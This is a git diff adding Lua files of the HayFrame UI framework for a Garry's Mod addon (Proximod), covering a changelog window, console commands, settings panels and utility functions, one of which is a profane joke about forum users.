+local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +do + local PANEL = {} + + function PANEL:Init( ) + + end + + function PANEL:Compose( bToLocale ) + bToLocale = bToLocale or false + + local bCanGetVersion = HAY_INTERNAL ~= nil + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK + local ONLINE_VERSION_READ = -1 + if bCanGetVersion then + MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = HAY_INTERNAL.GetVersionData() + + if ONLINE_VERSION == -1 then + ONLINE_VERSION_READ = "" + + else + ONLINE_VERSION_READ = tostring( ONLINE_VERSION ) + + end + + end + + if ONLINE_VERSION and ONLINE_VERSION ~= -1 and HAY_INTERNAL.GetReplicate then + local myVer = MY_VERSION or 0 + + local contents = HAY_INTERNAL.GetReplicate() or ( tostring( MY_VERSION or 0 ) .. "\n" ) + local split = string.Explode( "\n", contents ) + if (#split % 2) == 0 then + local dList = vgui.Create("DListView", self) + self.Contents = dList + dList:SetMultiSelect( false ) + dList:AddColumn( "Ver." ):SetMaxWidth( 45 ) -- Add column + dList:AddColumn( "Type" ):SetMaxWidth( 60 ) -- Add column + dList:AddColumn( "Log" ) + + local gotMyVer = false + local i = 1 + while (i <= #split) and not (bToLocale and gotMyVer) do + local iVer = tonumber( split[i] or 0 ) or 0 + if not gotMyVer and iVer ~= 0 and iVer <= myVer and (split[i+2] ~= "&") then + dList:AddLine( "*" .. myVer .. "*", "Locale", "< Currently installed version >" ) + gotMyVer = true + + end + local nature = tonumber( split[i] ) + nature = (nature == nil) and "" or math.floor(nature*1000) % 10 > 0 and "Fix" or math.floor(nature*100) % 10 > 0 and "Feature" or "Release" + local myLine = dList:AddLine( (split[i] ~= "&") and split[i] or "", tostring(nature), split[i+1] or "" ) + myLine:SizeToContents() + + i = i + 2 + + end + + else + local dLabel = vgui.Create( "DLabel", self ) + self.Contents = dLabel + dLabel:SetText( "" ) + + end + + elseif not HAY_INTERNAL.GetReplicate then + local dLabel = vgui.Create( "DLabel", self ) + self.Contents = dLabel + dLabel:SetText( "Couldn't load changelog because your Locale version is too old." ) + + else + local dLabel = vgui.Create( "DLabel", self ) + self.Contents = dLabel + dLabel:SetText( "Couldn't load changelog because ".. tostring(HAY_NAME) .." failed to pickup information from the Cloud." ) + + end + end + + function PANEL:PerformLayout() + self.Contents:StretchToParent( 0, 0, 0, 0 ) + self.Contents:Center() + + end + + vgui.Register( HAY_SHORT .. "_ChangelogPanel", PANEL, "Panel" ) + +end + + +function HAY_MAIN:BuildChangelogWindow( ) + self:DestroyChangelog( ) + self.ChangelogPanel = vgui.Create( "DFrame" ) + + local window = self.ChangelogPanel + window:SetSize( ScrW() * 0.7, ScrH() * 0.7 ) + window:Center() + window:SetTitle( tostring(HAY_NAME) .. " - Changelog" ) + window:SetVisible( false ) + window:SetDraggable( true ) + window:ShowCloseButton( true ) + window:SetDeleteOnClose( false ) + window:SetSizable( true ) + + window.PerformLayout = function( self ) + self.Contents:StretchToParent( 4, 24, 4, 4 ) + self.Contents:AlignBottom( 4 ) + self.Contents:InvalidateLayout() + + end + + window.Contents = vgui.Create( HAY_SHORT .. "_ChangelogPanel", window ) + window.Contents:Compose( false ) + window:InvalidateLayout( true ) + + return window + +end + +function HAY_MAIN:ShowChangelog( ) + if not ValidPanel( self.ChangelogPanel ) then + self:BuildChangelogWindow( ) + + end + self.ChangelogPanel:MakePopup() + self.ChangelogPanel:SetVisible( true ) + +end + +function HAY_MAIN:HideChangelog( ) + if not ValidPanel( self.ChangelogPanel ) then return end + self.ChangelogPanel:SetVisible( false ) + +end + +function HAY_MAIN:DestroyChangelog( ) + if ValidPanel( self.ChangelogPanel ) then + self.ChangelogPanel:Remove() + self.ChangelogPanel = nil + + end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_cmds.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_cmds.lua new file mode 100644 index 0000000..938b112 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_cmds.lua @@ -0,0 +1,79 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Concommands RegMod // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_LOCAL_CONCMDPREFIX = HAYFRAME_SetupParameter( "concmd_prefix" ) + +function HAY_MAIN:CreateCmd( sCmdName, fCallback ) + local prefix = string.find( sCmdName, "+" ) and "+" or string.find( sCmdName, "-" ) and "-" or "" + sCmdName = string.gsub( sCmdName, "+", "" ) + sCmdName = string.gsub( sCmdName, "-", "" ) + + concommand.Add( prefix .. HAY_LOCAL_CONCMDPREFIX .. sCmdName, fCallback ) + +end + +function HAY_MAIN:RemoveCmd( sCmdName ) + local prefix = string.find( sCmdName, "+" ) and "+" or string.find( sCmdName, "-" ) and "-" or "" + sCmdName = string.gsub( sCmdName, "+", "" ) + sCmdName = string.gsub( sCmdName, "-", "" ) + + concommand.Remove( prefix .. HAY_LOCAL_CONCMDPREFIX .. sCmdName ) + +end + +// Should not ... +function HAY_MAIN:CallCmd( sCmdName, ... ) + local prefix = string.find( sCmdName, "+" ) and "+" or string.find( sCmdName, "-" ) and "-" or "" + sCmdName = string.gsub( sCmdName, "+", "" ) + sCmdName = string.gsub( sCmdName, "-", "" ) + + RunConsoleCommand( prefix .. HAY_LOCAL_CONCMDPREFIX .. sCmdName, ... ) + +end + +function HAY_MAIN:AppendCmd( tGroup, sName, fCallback, ... ) + tGroup[sName] = fCallback + +end + +function HAY_MAIN:BuildCmds( tGroup, sPrefix ) + if not sPrefix then sPrefix = "" end + + for sName,oObject in pairs( tGroup ) do + if type( oObject ) == "table" then + HAY_MAIN:BuildCmds( oObject, sPrefix .. sName .. "_" ) + + else + self:CreateCmd( tostring( sPrefix ) .. tostring( sName ), oObject ) + + end + + end + +end + +function HAY_MAIN:DismountCmds( tGroup, sPrefix ) + if not sPrefix then sPrefix = "" end + + for sName,oObject in pairs( tGroup ) do + if type( oObject ) == "table" then + HAY_MAIN:DismountCmds( oObject, sPrefix .. sName .. "_" ) + + else + self:RemoveCmd( tostring( sPrefix ) .. tostring( sName ) ) + + end + + end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_context.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_context.lua new file mode 100644 index 0000000..ae83a52 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_context.lua @@ -0,0 +1,213 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu UI Base // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_ContextContainerList = {} +local function HAY_ContextContainer__Declare( objPanel ) + if ValidPanel( objPanel ) then + table.insert( HAY_ContextContainerList, objPanel ) + + end + +end + +local function HAY_ContextContainer__GetFocus( objPanel ) + local match = false + local i = 1 + while (i <= #HAY_ContextContainerList) and not match do + if not ValidPanel( HAY_ContextContainerList[ i ] ) then + table.remove( HAY_ContextContainerList, i ) + + elseif objPanel:HasParent( HAY_ContextContainerList[ i ] ) then + match = true + HAY_ContextContainerList[ i ]:StartKeyFocus() + + else + i = i + 1 + + end + + end + + return + +end + + +local function HAY_ContextContainer__EndFocus( objPanel ) + + local match = false + local i = 1 + while (i <= #HAY_ContextContainerList) and not match do + if not ValidPanel( HAY_ContextContainerList[ i ] ) then + table.remove( HAY_ContextContainerList, i ) + + elseif objPanel:HasParent( HAY_ContextContainerList[ i ] ) then + match = true + HAY_ContextContainerList[ i ]:EndKeyFocus() + + else + i = i + 1 + + end + + end + + return + +end + + +local PANEL = {} + +AccessorFunc( PANEL, "m_bHangOpen", "HangOpen" ) + +// Code partially borrowed from contextmenu.lua from sandbox. + +function PANEL:Init() + self._Contents = nil + + self.Canvas = vgui.Create( "DPanelList", self ) + + self.m_bHangOpen = false + + self.Canvas:EnableVerticalScrollbar( true ) + self.Canvas:SetSpacing( 0 ) + self.Canvas:SetPadding( 5 ) + self.Canvas:SetDrawBackground( false ) + + HAY_ContextContainer__Declare( self ) + + +end + +function PANEL:GetCanvas( ) + return self.Canvas + +end + +function PANEL:SetContents( objPanel, obtb_NoUpdate ) + if not ValidPanel( objPanel ) then return end + + local oldContents = self._Contents + if ValidPanel( oldContents ) then + oldContents:SetParent( mil ) + + end + + objPanel:SetParent( self ) + self._Contents = objPanel + + if not obtb_NoUpdate then + self:UpdateContents() + + end + + return oldContents + +end + +function PANEL:GetContents() + return self._Contents + +end + +function PANEL:UpdateContents() + if not ValidPanel( self._Contents ) then return end + + self.Canvas:Clear() + self.Canvas:AddItem( self._Contents ) + self.Canvas:Rebuild() + + self.Canvas:InvalidateLayout( ) + +end + +function PANEL:Open() + RestoreCursorPosition() + + self:SetKeyboardInputEnabled( false ) + self:SetMouseInputEnabled( true ) + + self:MakePopup() + self:SetVisible( true ) + // TODO : ? + self:InvalidateLayout( true ) + +end + + +function PANEL:Close( optbForce ) + // Weird code : Supposedly cancels the first closing attempt + if self:GetHangOpen() then + self:SetHangOpen( false ) + if not optbForce then + return + + end + + end + RememberCursorPosition() + + self:SetKeyboardInputEnabled( false ) + self:SetMouseInputEnabled( false ) + + self:SetVisible( false ) + +end + +function PANEL:StartKeyFocus( pPanel ) + self:SetKeyboardInputEnabled( true ) + self:SetHangOpen( true ) + +end + +function PANEL:EndKeyFocus( pPanel ) + self:SetKeyboardInputEnabled( false ) + +end + +function PANEL:PerformLayout() + local objContents = self._Contents + + if ( objContents ) then + + objContents:InvalidateLayout( true ) + + /*local Tall = objContents:GetTall() + 10 + local MaxTall = ScrH() + if ( Tall > MaxTall ) then Tall = MaxTall end + + self:SetTall( Tall ) + self.y = ScrH() - 50 - self:GetTall()*/ + + end + + self.Canvas:StretchToParent( 0, 0, 0, 0 ) + self.Canvas:InvalidateLayout( true ) + + +end + +vgui.Register( HAY_SHORT .. "_ContextContainer", PANEL, "EditablePanel" ) + + + +// Remove-Add Avoids mounting issues +hook.Remove( "OnTextEntryGetFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__GetFocus" ) +hook.Remove( "OnTextEntryLoseFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__EndFocus" ) + +hook.Add( "OnTextEntryGetFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__GetFocus", HAY_ContextContainer__GetFocus ) +hook.Add( "OnTextEntryLoseFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__EndFocus", HAY_ContextContainer__EndFocus ) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_ctrlcolor.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_ctrlcolor.lua new file mode 100644 index 0000000..4144d31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_ctrlcolor.lua @@ -0,0 +1,116 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Color // +//////////////////////////////////////////////// +if SERVER then return end -- ??? + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +// +// ___ ___ _ _ _ ___ ___ ___ ___ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | | __| / _ \ | o \|_ _|| o \| __|/ _|/ _| +// | | | _| | o || \_/ | | _| | |_| || / | | | /| _| \_ \\_ \ +// |_| |___||_n_||_| |_| |_| \___/ |_|\\ |_| |_|\\|___||__/|__/ 2010 +// +// + +local PANEL = {} + +AccessorFunc( PANEL, "m_ConVarR", "ConVarR" ) +AccessorFunc( PANEL, "m_ConVarG", "ConVarG" ) +AccessorFunc( PANEL, "m_ConVarB", "ConVarB" ) +AccessorFunc( PANEL, "m_ConVarA", "ConVarA" ) + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + self.Mixer = vgui.Create( "DColorMixer", self ) + + self.txtR = vgui.Create( "DNumberWang", self ) + self.txtR:SetDecimals( 0 ) + self.txtR:SetMinMax( 0, 255 ) + self.txtG = vgui.Create( "DNumberWang", self ) + self.txtG:SetDecimals( 0 ) + self.txtG:SetMinMax( 0, 255 ) + self.txtB = vgui.Create( "DNumberWang", self ) + self.txtB:SetDecimals( 0 ) + self.txtB:SetMinMax( 0, 255 ) + self.txtA = vgui.Create( "DNumberWang", self ) + self.txtA:SetDecimals( 0 ) + self.txtA:SetMinMax( 0, 255 ) + self.txtA:SetVisible( false ) + +end + +/*--------------------------------------------------------- + Name: ConVarR +---------------------------------------------------------*/ +function PANEL:SetConVarR( cvar ) + self.Mixer:SetConVarR( cvar ) + self.txtR:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarG +---------------------------------------------------------*/ +function PANEL:SetConVarG( cvar ) + self.Mixer:SetConVarG( cvar ) + self.txtG:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarB +---------------------------------------------------------*/ +function PANEL:SetConVarB( cvar ) + self.Mixer:SetConVarB( cvar ) + self.txtB:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarA +---------------------------------------------------------*/ +function PANEL:SetConVarA( cvar ) + + if ( cvar ) then self.txtA:SetVisible( true ) end + self.Mixer:SetConVarA( cvar ) + self.txtA:SetConVar( cvar ) + +end + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + local y = 0 //self.Label1:GetTall() + 5 + + self:SetTall( 110 ) + + self.Mixer:SetSize( 150, 100 ) + self.Mixer:Center() + self.Mixer:AlignLeft( 5 ) + + self.txtR:SizeToContents() + self.txtG:SizeToContents() + self.txtB:SizeToContents() + self.txtA:SizeToContents() + + self.txtR:AlignRight( 5 ) + self.txtR:AlignTop( 5 ) + self.txtG:CopyBounds( self.txtR ) + self.txtG:CenterVertical( 0.375 ) + self.txtB:CopyBounds( self.txtG ) + self.txtB:CenterVertical( 0.625 ) + self.txtA:CopyBounds( self.txtB ) + self.txtA:AlignBottom( 5 ) + +end + +vgui.Register( HAY_SHORT .. "_CtrlColor", PANEL, "DPanel" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_mediator.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_mediator.lua new file mode 100644 index 0000000..f6136f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_mediator.lua @@ -0,0 +1,283 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Parameter Mediator // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_MEDIATOR_REQUIRED = false +local HAY_PARAM_Types = nil +local HAY_PARAM_Constructors = nil +local HAY_PARAM_ConvarSuffixes = nil +local HAY_PARAM_ExtraData = nil + +function HAY_MAIN:RequireParameterMediator( ) + if HAY_MEDIATOR_REQUIRED then return end + HAY_MEDIATOR_REQUIRED = true + + HAY_PARAM_Types = {} + HAY_PARAM_Constructors = {} + HAY_PARAM_ConvarSuffixes = {} + HAY_PARAM_ExtraData = {} + + self:InitializeGenericConstructors() + + if self.InitializeCustomConstructors then + self:InitializeCustomConstructors() + + end + +end + +function HAY_MAIN:ParamTypeExists( sType ) + return table.HasValue( HAY_PARAM_Types, string.lower(tostring(sType)) ) + +end + +---- When registering a new parameter type... +-- Extra data are : +-- Callback shall evaluate a boolean or not. + +---- When creating the constructor, the argument proposes a stock... +-- Stock IN THE CONSTRUCTOR could be : +-- Panel-associated callbacks. + +function HAY_MAIN:RegisterParamType( sType, fConstructor, stConvarSuffixes, stExtraData ) + sType = string.lower(sType) + if self:ParamTypeExists( sType ) then return end + + HAY_PARAM_Constructors[sType] = fConstructor + HAY_PARAM_ConvarSuffixes[sType] = stConvarSuffixes or nil + HAY_PARAM_ExtraData[sType] = stExtraData or nil + table.insert( HAY_PARAM_Types, sType) + + HAY_UTIL.OutputDebug( "Registered Panel Constructor : ".. sType ) + +end + +function HAY_MAIN:BuildParamPanel( sFullConvarName, stData, pParent ) + if not self:ParamTypeExists( stData.Type ) then + HAY_UTIL.OutputError( "Tried to create panel with a non-existant type : " .. tostring( sType ) ) + return + end + + local myPanel = HAY_PARAM_Constructors[stData.Type](sFullConvarName , stData) + if ValidPanel( pParent ) then + myPanel:SetParent( pParent ) + + end + + return myPanel + +end + +---- When creating new variables... +-- Extra data are : +-- Callback function +function HAY_MAIN:CreateVarParam( sType, sConvarName, sDefault, stExtraData ) + sType = string.lower(sType) + if not self:ParamTypeExists( sType ) then + HAY_UTIL.OutputError( "Tried to create paramater with a non-existant type : " .. tostring( sType ) ) + return false + + end + + local fCallback = (type(stExtraData) == "table") and stExtraData["callback"] or nil + local fCallbackBool = fCallback and HAY_PARAM_ExtraData[sType] and HAY_PARAM_ExtraData[sType]["callback_isbool"] or false + + //local buildTable = {} + + if HAY_PARAM_ConvarSuffixes[sType] == nil then + self:CreateVar( sConvarName, tostring(sDefault), true, false, fCallback, fCallbackBool ) + //table.insert( buildTable, { sConvarName, tostring(sDefault) } ) + + HAY_UTIL.OutputDebug( "Added Var : ".. sConvarName .." = ".. tostring(sDefault)) + + elseif type(HAY_PARAM_ConvarSuffixes[sType]) == "table" then + for k,suffix in pairs( HAY_PARAM_ConvarSuffixes[sType] ) do + local curDefault = tostring(sDefault[k] or sDefault[1] or sDefault) + self:CreateVar( sConvarName .. "_" .. suffix, curDefault, true, false, fCallback, fCallbackBool ) + //table.insert( buildTable, { sConvarName .. "_" .. suffix, curDefault } ) + + HAY_UTIL.OutputDebug( "Added Var : ".. sConvarName .. "_" .. suffix.." = ".. tostring(sDefault[k] or sDefault[1] or sDefault) ) + + end + + else -- Could be a "noconvars" that is a string, and so exit code + return false + + end + + //return buildTable + return true + +end + +function HAY_MAIN:GetParamSuffixes( sType ) + sType = string.lower(sType) + if not self:ParamTypeExists( sType ) then return end + + return HAY_PARAM_ConvarSuffixes[sType] + +end + +function HAY_MAIN:ParamBridgeCall( stData ) + return not self.EvaluateBridgeCall or self:EvaluateBridgeCall() + +end + +////////// +////////// + +function HAY_MAIN:InitializeGenericConstructors() + self:RegisterParamType( "panel_label" , function( sConvarName, stData ) + local myPanel = vgui.Create("DLabel") + myPanel:SetText( stData.Text or "" ) + myPanel:SetContentAlignment( stData.ContentAlignment or 4 ) + if stData.Font then myPanel:SetFont( stData.Font ) end + if stData.Wrap then + myPanel:SetWrap( true ) + myPanel:SetAutoStretchVertical( true ) + + end + + return myPanel + + end, "noconvars" ) + + self:RegisterParamType( "bool" , function( sConvarName, stData ) + local myPanel = vgui.Create( "DCheckBoxLabel" ) + myPanel:SetText( stData.Text or "" ) + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + + return myPanel + + end, nil, { ["callback_isbool"] = true } ) + + self:RegisterParamType( "range" , function( sConvarName, stData ) + local myPanel = vgui.Create( "DNumSlider" ) + myPanel:SetText( stData.Text or "" ) + myPanel:SetMin( tonumber(stData.Min or 0) ) + myPanel:SetMax( tonumber(stData.Max or ((stData.Min or 0) + 1)) ) + myPanel:SetDecimals( tonumber(stData.Decimals or 0) ) + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + + return myPanel + + end ) + + self:RegisterParamType( "color" , function( sConvarName, stData ) + local myPanel = vgui.Create(HAY_SHORT .. "_CtrlColor") + myPanel:SetConVarR( self:GetVarName( sConvarName ) .."_r") + myPanel:SetConVarG( self:GetVarName( sConvarName ) .."_g") + myPanel:SetConVarB( self:GetVarName( sConvarName ) .."_b") + myPanel:SetConVarA( self:GetVarName( sConvarName ) .."_a") + + return myPanel + + end , {"r","g","b","a"}) + + self:RegisterParamType( "string" , function( sConvarName, stData ) + local myPanel = vgui.Create("DTextEntry") + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + myPanel:SetUpdateOnType( stData.UpdateOnType and true or false ) + if stData.OnEnter then + myPanel.OnEnter = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.OnEnter( ... ) + end + end + end + + return myPanel + end ) + + self:RegisterParamType( "panel_readonly" , function( sConvarName, stData ) + local myPanel = vgui.Create("DTextEntry") + myPanel:SetText( stData.Text or "" ) + myPanel:SetEditable( false ) + + return myPanel + end, "noconvars" ) + + self:RegisterParamType( "panel_button" , function( sFullConvarName, stData ) + local myPanel = vgui.Create("DButton") + myPanel:SetText( stData.Text or "" ) + if stData.DoClick then + myPanel.DoClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoClick( ... ) + end + end + end + if stData.DoRightClick then + myPanel.DoRightClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoRightClick( ... ) + end + end + end + + return myPanel + end , "noconvars" ) + + self:RegisterParamType( "panel_sysbutton" , function( sFullConvarName, stData ) + local myPanel = vgui.Create("DSysButton") + myPanel:SetType( stData.Style or "grip" ) + if stData.DoClick then + myPanel.DoClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoClick( ... ) + end + end + end + if stData.DoRightClick then + myPanel.DoRightClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoRightClick( ... ) + end + end + end + + return myPanel + end , "noconvars" ) + + + self:RegisterParamType( "panel_imagebutton" , function( sFullConvarName, stData ) + local myPanel = vgui.Create("DImageButton") + myPanel:SetMaterial( stData.Material or "gui/silkicons/wrench" ) + if stData.DoClick then + myPanel.DoClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoClick( ... ) + end + end + end + if stData.DoRightClick then + myPanel.DoRightClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoRightClick( ... ) + end + end + end + + return myPanel + end , "noconvars" ) + + self:RegisterParamType( "bool_nolabel" , function( sConvarName, stData ) + local myPanel = vgui.Create( "DCheckBox" ) + myPanel:SetType( stData.Style or "tick" ) + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + + return myPanel + + end, nil, { ["callback_isbool"] = true } ) + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_util.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_util.lua new file mode 100644 index 0000000..21dcbee --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_util.lua @@ -0,0 +1,193 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Utility functions // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +function HAY_UTIL.OutputError( sText, sLocation ) + ErrorNoHalt( ">> " .. tostring(HAY_SHORT) .. " error'd " .. (sLocation and ("(" .. tostring(sLocation) ..")") or "") .. ":: " .. tostring(sText) .. "\n" ) + +end + + +function HAY_UTIL.OutputLineBreak( ) + print( "" ) + +end + +function HAY_UTIL.OutputIn( sText ) + print( "[ " .. tostring(HAY_NAME) .. " :: " .. tostring(sText) .. " ]" ) + +end + +function HAY_UTIL.OutputOut( sText ) + print( "] " .. tostring(HAY_NAME) .. " :: " .. tostring(sText) .. " [" ) + +end + +HAY_UTIL.Output = HAY_UTIL.OutputOut + +function HAY_UTIL.OutputDebug( sText ) + if not HAY_DEBUG then return end + + print( " " .. tostring(HAY_SHORT) .. " :: " .. tostring(sText) ) + +end + + +function HAY_UTIL.FamiliarizeString( sInput ) + local stringParts = string.Explode( "_", sInput ) + local stringOutput = "" + + for k,part in pairs( stringParts ) do + local len = string.len( part ) + if len <= 1 then + stringOutput = stringOutput .. string.upper( part ) + + --Assume if len == 0, received "__" thus "upper" nothing. + + else + stringOutput = stringOutput .. string.Left( string.upper( part ), 1 ) .. string.Right( part, len - 1 ) + + end + + if k ~= #stringParts then stringOutput = stringOutput .. " " end + + end + + return stringOutput + +end + +function HAY_UTIL.PercentCharge( fUniform ) + return (1 - (1 - fUniform) ^ 2 ) + +end + +function HAY_UTIL.Cubar_FacepunchAlgorithm( ) + if not facepunch then return end + + // simple algorithm to replicate Cubar's account + local assholes = {"CapsAdmin", "Blackops", "irzilla", "|flapjack|", "Ha3"} + local assholeIndexed = {} + for k,asshole in pairs( assholes ) do + assholeIndexed[ asshole ] = 1000 + + end + + local winners = {"Cubar"} + for _,winner in pairs( winners ) do + for k,post in pairs( facepunch.GetAllPostsFromUserID( facepunch.GetUserIDFromNickname( winner ) ) ) do + post:AddRating( "agree" ) + + for stringRating,tableUserIDs in pairs( post:GetAllRatings() ) do + if stringRating == "dumb" or stringRating == "late" or stringRating == "disagree" then + for i,ratingAssholeID in pairs( tableUserIDs ) do + local assholeNickname = facepunch.GetNicknameFromUserID( ratingAssholeID ) + if not table.HasValue( winners, assholeNickname ) then + assholeIndexed[ assholeNickname ] = ( assholeIndexed[ assholeNickname ] or 0 ) + 1 + + end + + end + + end + + end + + end + end + + local trueAssholes = {} + for assholeNickname,quantity in pairs( assholeIndexed ) do + table.insert( trueAssholes, assholeNickname ) + + end + + for _,asshole in pairs( trueAssholes ) do + for k,post in pairs( facepunch.GetAllPostsFromUserID( facepunch.GetUserIDFromNickname( asshole ) ) ) do + post:AddRating( "dumb" ) + + end + end + +end + +function HAY_UTIL.DecoDaMan_GetParams( f ) + local co = coroutine.create(f) + local params = {} + debug.sethook(co, function() + local i, k = 1, debug.getlocal(co, 2, 1) + while k do + if k ~= "(*temporary)" then + table.insert(params, k) + end + i = i+1 + k = debug.getlocal(co, 2, i) + end + error("~~end~~") + end, "c") + local res, err = coroutine.resume(co) + if res then + error("The function provided defies the laws of the universe.", 2) + elseif string.sub(tostring(err), -7) ~= "~~end~~" then + error("The function failed with the error: "..tostring(err), 2) + end + return params + +end + +function HAY_UTIL.GenerateDocumentation( tGroup, sConvenientName ) + if not tGroup then return end + + local tfctName = {} + for sFctName,fct in pairs( tGroup ) do + if type(fct) == "function" then + table.insert( tfctName, sFctName ) + end + end + table.sort( tfctName, function( a, b ) return a < b end ) + + local gs = "" + for _,sFctName in pairs( tfctName ) do + local fct = tGroup[sFctName] + + local tParams = HAY_UTIL.DecoDaMan_GetParams( fct ) + + local ts = sConvenientName + if tParams[1] == "self" then + ts = ts .. ":" + else + ts = ts .. "." + end + ts = ts .. sFctName .. "(" + for k,sParam in pairs( tParams ) do + if k ~= 1 or sParam ~= "self" then + ts = ts .. sParam + + if k < #tParams then + ts = ts .. ", " + + end + + end + + end + ts = ts .. ")" + gs = gs .. ts .. "\n" + end + return gs + +end + +function HAY_UTIL.PrintDocumentation( ) + print( HAY_UTIL.GenerateDocumentation( HAY_MAIN, HAY_SHORT ) ) + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_var.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_var.lua new file mode 100644 index 0000000..e5dd1af --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_var.lua @@ -0,0 +1,132 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// ConVar Reg Method - Customizable // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_LOCAL_VARPREFIX = HAYFRAME_SetupParameter( "var_prefix" ) + +-- Added due to callback problems with the cvars lib. +if not HAY__CALLBACK_FUNC then HAY__CALLBACK_FUNC = {} end +if not HAY__CALLBACK_FUNC[ HAY_SHORT ] then HAY__CALLBACK_FUNC[ HAY_SHORT ] = {} end 